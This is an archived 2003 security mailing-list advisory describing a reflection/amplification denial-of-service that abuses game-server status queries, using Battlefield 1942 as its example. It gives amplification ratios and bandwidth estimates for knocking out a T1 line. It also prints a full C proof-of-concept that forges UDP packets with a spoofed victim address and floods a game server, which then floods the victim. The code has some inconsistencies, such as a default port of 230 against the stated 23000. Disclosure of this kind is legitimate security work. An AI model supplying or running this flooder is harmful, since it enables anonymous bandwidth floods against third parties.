[NEWS] Multi-Vendor Game Server DDoS Advisory

From: support@securiteam.com
Date: 01/22/03

  • Next message: support@securiteam.com: "[UNIX] XSS (Cross Site Scripting) on FormMail.CGI"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 22 Jan 2003 22:30:38 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Multi-Vendor Game Server DDoS Advisory
    ------------------------------------------------------------------------

    SUMMARY

    This document is based on Battlefield 1942's query responses, but this
    vulnerability exists in many games. As a basic rule of thumb, if it
    supports GameSpy ( <http://www.gamespy.com> http://www.gamespy.com), it
    will likely be vulnerable.

    The below listed games are vulnerable to the same type of attack, and most
    use the same general query commands (excluding Quake, Quake 2, Return to
    Castle Wolfenstein, and a couple others). The other query commands can be
    found in the source of a free program called "Server Query" (
    <http://www.ServerQuery.com> http://www.ServerQuery.com). The general rule
    of thumb is: If it's supported by GameSpy and Server Query, it's
    vulnerable.

    DETAILS

    Affected Games:
     * Quake Quake 2 Q3: Arena & Team Arena
     * Kingpin Half-Life Counter-Strike
     * Sin Soldier of Fortune Daikatana
     * Unreal Tourn. Quakeworld Unreal
     * Rune Gore Tribes
     * Tribes 2 - Serious Sam Serious Sam 2
     * C&C: Renegade Global Operations Jedi Knight 2
     * Battlefield 1942
     * America's Army
     * Unreal Tournament 2003
     * Return to Castle Wolfenstein
     * Medal of Honour: Allied Assault
     * SoF2: Double Helix
     * SoF2: Double Helix Demo
     * Alien vs Predator 2
     * NeverWinter Nights
     * V8 Supercar Challenge

    Technical details:
    Battlefield 1942 is given as an example. The other games' vulnerabilities
    are similar.

    The risk for this vulnerability seems to be worse on a game such as
    Battlefield 1942 due to its ability for to support 64 player servers.

    Battlefield 1942 servers listen on UDP port 23000, awaiting such commands
    as: '\status\' '\players\' '\packets\' '\echo\' '\rules\', and more.

    The server uses a protocol very similar to UT2003 and America's Army, and
    many other GameSpy* supported games (* Gamespy is a popular program that
    allows game clients to find and connect to game servers).

    BF1942 allows you to combine requests into something of the sorts of:
    '\status\players\packets\rules\'.

    When a request like the example above is sent, it uses approximately 30
    bytes, not including UDP overhead. The resulting response can be anywhere
    from as low as 6000 - 7000, to as high as 11,000+ bytes.

    The example of 30 bytes creates a 11,799 bytes response, therefore we get
    a ratio of 1:393. Basically, for every 1 byte we've send, 393 are returned
    (in this particular example, which comes from a server housing 41 players.
    Results will vary). A server which holds 64 players could potentially
    respond with well over 18,000 bytes for each such request.

    Side note, one single UDP request using the query line in Mike's proof of
    concept code is responded with 10 separate responses (due to packet size
    limitations). This also means, that if the victim port is unreachable, the
    victim will respond to the data with 10 ICMP Unreachable packets.

    Vulnerability:
    UDP is a connectionless protocol of which the source IP and port can
    easily be spoofed. If you've read the introduction, you can probably see
    where Mike is going with this.

    The BF1942 status port will reply with an amazing amount of requests, and
    although Mike has only personally tested this to 50 Kbytes/sec, but does
    not see any reason why you couldn't go even higher.

    When these requests are received, the reply is sent to the source host
    which, in this case, we have spoofed. This causes a huge packet flood to
    your victim.

    When tested, a single upstream of 4 k/s to the BF1942 server yielded over
    550 k/s being sent to the victim host. When the victim's host receives
    these packets on a UDP port which is open (commonly found to be 135
    (MS/DCE RPC), 53 (DNS), and so on), the downstream to that connection will
    be flooded. If it is sent to an unreachable port on the victim's host, the
    victim's stack will respond with "Unreachable" response which will also
    flood their upstream.

    A personal firewall such as ZoneAlarm will not prevent this type of DoS,
    as it is simply a flood of information being sent directly to the victim's
    computer. To stop these DoSs from reaching the victim, the port you
    specify would have to be blocked before reaching their system. Ports you
    would find particularly useless would be ones that are commonly blocked by
    ISPs before reaching the customers: 139/NetBIOS, and so on. A firewall
    will only prevent the victim from responding with ICMP Unreachable
    packets.

    Further information, discussion:
    This is an attack that can easily flood any system slower than the
    Battlefield 1942 server. Further this attack can be done anonymously due
    to the fact that the UDP packet source is spoofed to that of the victim.
    This is very similar to the "smurf" attack that was used in the past.

    The attack does not only affect the bandwidth of the host and the victim,
    but it also tends to eat up a nice chunk of memory and CPU power on the
    server.

    This low amount of required upstream would allow a simple modem user to
    send a hefty DoS to a T1 or higher.

    Due to the fact that Battlefield 1942 servers tend to require a lot of
    bandwidth to operate, you are very likely to find that nearly any server
    will have more than enough bandwidth to handle the task. EA has many of
    their servers hosted on OC3 lines.

    In many ways, this exceeds the severity of the smurf attack method.

    Example theory of risk:
    T1 (1.54 mbps) FULL DoS:
      * 1 server needed @ ~220 k/s or more (a 20 player server will do).
      * 1 - 2 k/s* upstream needed from attacker (~14.4 baud modem)
      * A single user dialed up at 14,400 bps can topple a T1.
      * A single dial-up at 56k (31.2kbit up) could DoS 2 T1s at a time.

    * You must account for UDP overhead (IP Header, UDP Header)

    Proof-of-concept code:
    Proof of concept code was created to show severity of this vulnerability.
    Please use it with caution (
    <http://www.pivx.com/kristovich/poc/bf1942dos.c>
    http://www.pivx.com/kristovich/poc/bf1942dos.c):

    /************************************************************************/
    /* Battlefield 1942 - All Versions flooder (proof-of-concept) */
    /* by Mike Kristovich (mkristovich@pivx.com) */
    /* */
    /* Filename: bf1942dos.c */
    /* Location: http://www.pivx.com/kristovich/poc/bf1942dos.c */
    /* */
    /* Proof-of-concept code for PivX Security Advisory MK#001 */
    /* */
    /* Linux version (MK-POC-001/1.0) */
    /* */
    /* Description of code: */
    /* This exploit will spoof UDP packets from a source which you */
    /* specify, to a Battlefield 1942 server. The server will send */
    /* packets to the victim, regardless of victim status. */
    /* */
    /* */
    /* This source has been tested and compiled on Linux. */
    /* This source is covered by the GNU GPL. */
    /************************************************************************/
    /* Thanks to Luigi for assistance with the code! */
    /************************************************************************/

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <netdb.h>
    #include <string.h>

    #define IPSZ sizeof(struct iphdr)
    #define UDPSZ sizeof(struct udphdr)
    #define DATASZ sizeof(STRING) - 1
    #define PSEUDOSZ sizeof(struct pseudohdr)
    #define BUFFSZ 100
    #define SIZE (IPSZ + UDPSZ + DATASZ)
    #define STRING "\\players\\status\\packets\\rules\\"
    #define SRCPORT 1204
    #define DSTPORT 230

    u_short in_cksum(unsigned short *addr, int len);
    u_long resolv(char *host);
    void std_err(void);

    struct pseudohdr {
      u_int32_t saddr;
      u_int32_t daddr;
      u_int8_t zero;
      u_int8_t protocol;
      u_int16_t length;
    } *pseudohdr;

    int main(int argc, char *argv[]) {
     
      u_char buff[BUFFSZ],
        pseudobuff[BUFFSZ],
        *data;
      struct sockaddr_in peer;
      struct iphdr *iphdr;
      struct udphdr *udphdr;
      int shandle,
        err;
      u_int32_t source,
          dest;
      u_int16_t sport,
          dport;

      int packetsent;
      int maxpackets;
      int pktdoubler;
      int bandwidth;

      printf("\r\n---------------------------------------------------\r\n");
      printf(" Game Server DoS - Proof-of-Concept\r\n");
      printf(" by Mike Kristovich, PivX Security Researcher\r\n");
      printf("= http://www.PivX.com : : mkristovich@pivx.com =\r\n");
      printf("---------------------------------------------------\r\n");
      printf("= Advisory MK#001 : : Battlefield 1942 DoS =\r\n");
      printf("---------------------------------------------------\r\n");

      setbuf(stdout, NULL);
      
      if(argc < 4)
      {
        fprintf(stderr,"Usage: %s <IP_to_flood> <Server_IP> <kBps_to_use>
    <#_packets>\r\n",*argv);
        printf(":: Options :: <victim_port[default 53]> <server_port[default
    23000]>\r\n");
        exit(1);
            };

      source = resolv(argv[1]);
      dest = resolv(argv[2]);

      if (!argv[6])
              dport = DSTPORT;
      else
        dport = atoi(argv[6]);
         
      if (!argv[5])
         sport = SRCPORT;
      else
         sport = atoi(argv[5]);
      

      printf("Sending packets to server ...");
     
      
      peer.sin_addr.s_addr = dest;
      peer.sin_port = htons(dport);
      peer.sin_family = AF_INET;

      iphdr = (struct iphdr *)buff;
      udphdr = (struct udphdr *)(buff + IPSZ);
      data = (u_char *)(buff + IPSZ + UDPSZ);
      pseudohdr = (struct pseudohdr *)pseudobuff;

      /* build data */
      memcpy(data, STRING, DATASZ);

      /* build IP header */
      iphdr->ihl = 5;
      iphdr->version = 4;
      iphdr->tos = 0x8;
      iphdr->tot_len = SIZE;
      iphdr->id = 156;
      iphdr->frag_off = 0;
      iphdr->ttl = 128;
      iphdr->protocol = IPPROTO_UDP;
      iphdr->check = 0;
      iphdr->saddr = source;
      iphdr->daddr = dest;

      /* build UDP header */
      udphdr->source = htons(sport);
      udphdr->dest = htons(dport);
      udphdr->check = 0;
      udphdr->len = htons(UDPSZ + DATASZ);

      /* build pseudo header for calculate checksum (copy UDP header and data
    in it) */
      memcpy(pseudobuff + PSEUDOSZ, buff + IPSZ, UDPSZ + DATASZ);

      pseudohdr->saddr = iphdr->saddr;
      pseudohdr->daddr = iphdr->daddr;
      pseudohdr->zero = 0;
      pseudohdr->protocol = IPPROTO_UDP;
      pseudohdr->length = udphdr->len;

      udphdr->check = in_cksum((u_short *)pseudobuff, PSEUDOSZ + UDPSZ +
    DATASZ);

      /* send all */
      shandle = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
      if(shandle < 0) std_err();
      
      /* do kbps handling */

      /* set up max packets */
      maxpackets = atoi(argv[4]);
      /* set up packet-doubler bandwidth management */
      bandwidth = atoi(argv[3]);

      for (packetsent = 0; packetsent < maxpackets; packetsent++) {

        for (pktdoubler = 0; pktdoubler < bandwidth; pktdoubler++) {
                err = sendto(shandle, buff, SIZE, 0, (struct sockaddr *)&peer,
    sizeof(peer));
               if(err < 0) std_err();
          packetsent++;
        };
          usleep(24000);
      
      };

      printf("\r\nSpoofed packets sent to Battlefield 1942 server.\r\n");
      close(shandle);

      return(0);
    }

    u_short in_cksum(unsigned short *addr, int len) {
            int sum = 0;
            u_short answer = 0;
            register u_short *w = addr;
            register int nleft = len;

            while(nleft > 1) {
                    sum += *w++;
                    nleft -= 2;
            }
            if(nleft == 1) {
                    *(u_char *)(&answer) = *(u_char *)w ;
                    sum += answer;
            }
            sum = (sum >> 16) + (sum & 0xffff);
            sum += (sum >> 16);
            answer = ~sum;
            return(answer);
    }

    u_long resolv(char *host) {
      struct hostent *hp;
      u_long host_ip;

      host_ip = inet_addr(host);
      if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(hp == 0) std_err();
        else host_ip = *(u_long *)(hp->h_addr);
      }

      return(host_ip);
    }

    void std_err(void) {
      perror("\nError");
      exit(1);
    }

    Fix:
     * No fix is currently available from EA.
     * No fix is currently available from other vendors.
     * No fix currently, but a fix is planned from GameSpy.

    Electronic Arts was informed, but did not respond. (11/20/2002 -
    1/13/2002)

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:mkristovich@pivx.com> Mike
    Kristovich, Security Researcher, PivX Solutions.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages

    • [NEWS] Public ICQ Servers Based DDoS
      ... Public ICQ Servers Based DDoS ... all client-side packets are encoded, while server ones are ... redirecting the server's response traffic to the victim, ...
      (Securiteam)
    • Re: does IPSec provide enough security for web server?
      ... Depends on your IPSec settings and your security needs. ... the IP packets itself contain a virus or not. ... compromising your server and data. ...
      (microsoft.public.inetserver.iis.security)
    • security-basics Digest of: get.123_145
      ... VPN to ASP a security risk? ... Re: Multiple IPSec tunnels? ... Subject: Security NT Server ... VPN to ASP a security risk? ...
      (Security-Basics)
    • << SBS News of the week - Sept 26 >>
      ... And he points to the info you need to put the file on the server in the ... at the network perimeter. ... The Symantec Firewall/VPN and the Gateway Security ... by the firewall at risk. ...
      (microsoft.public.backoffice.smallbiz)
    • << SBS News of the week - Sept 26 >>
      ... And he points to the info you need to put the file on the server in the ... at the network perimeter. ... The Symantec Firewall/VPN and the Gateway Security ... by the firewall at risk. ...
      (microsoft.public.backoffice.smallbiz2000)